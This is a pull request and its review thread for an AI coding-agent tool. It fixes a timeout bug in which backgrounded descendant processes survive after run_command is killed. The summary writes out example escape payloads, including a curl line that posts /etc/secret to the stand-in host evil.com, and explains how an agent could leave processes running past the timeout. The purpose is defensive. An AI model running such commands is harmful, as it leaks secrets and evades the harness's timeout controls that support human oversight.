fix(security): kill descendant processes when run_command times out

[kevinnft]

Summary

Tokio's kill_on_drop(true) only kills the direct child (the shell enowx-coder spawns), not the shell's descendants. An agent can exploit this to leave long-running processes behind even after the timeout supposedly killed them:

run_command  sh -c '(curl evil.com -d @/etc/secret &)'
            # parent shell exits in milliseconds; backgrounded curl
            # keeps running for the full TCP timeout, exfiltrating
            # data even after the timeout fires and the tool call
            # returns "Command timed out".

run_command  sh -c '(sleep 3600 &)'
            # crypto miner, beacon, etc — survives forever.

Empirically confirmed: the orphan continues to run after the parent shell is dropped, because it inherits the parent process group and gets reparented to PID 1.

Fix

• Spawn the child in its own process group on Unix via process_group(0).
• Capture the child PID before consuming the handle.
• On timeout, killpg(SIGKILL) the entire group so every descendant the shell forked is reaped, not just the shell itself.
• Restructure I/O capture: drive stdout/stderr reads alongside wait() directly, since wait_with_output consumes the Child and we need it accessible for the kill path.

Adds libc as a Unix-only dependency (only used for killpg). Windows behavior is unchanged — kill_on_drop already terminates the cmd.exe job there.

Regression test

test_run_command_timeout_kills_backgrounded_children schedules a backgrounded descendant that would write a proof file 3 seconds after the parent shell exits. Before the fix the file appears; after the fix it does not.

Note

Built on top of #22 to inherit the clippy fixes, since main still has the 122-error block. Diff against main collapses to the executor + Cargo.toml changes once #22 lands.

Test plan

• cargo test -p enowx-coder run_command_timeout — both existing and new test pass
• cargo clippy -- -D warnings clean
• Manual on Linux: trigger run_command with (sleep 30 &) payload, confirm pgrep -f "sleep 30" is empty after timeout

[enowdev]

Thanks for tackling the timeout escape. I’m blocking this as-is because run_command now drains stdout to EOF and only then drains stderr before wait() (src-tauri/src/tools/executor.rs:327-337). If the child writes enough to stderr while stdout is still being drained, the stderr pipe can fill, the child blocks on write, stdout never reaches EOF, and the timeout path becomes the only exit. This is a classic pipe deadlock regression compared with wait_with_output(), which reads both streams concurrently. Please switch to concurrent stdout/stderr draining (or another approach that preserves simultaneous consumption) before merging.

[enowdev]

Conflict resolution is in and the timeout fix now keeps concurrent stdout/stderr consumption while still killing the full process group on timeout, so the earlier pipe-deadlock concern is addressed.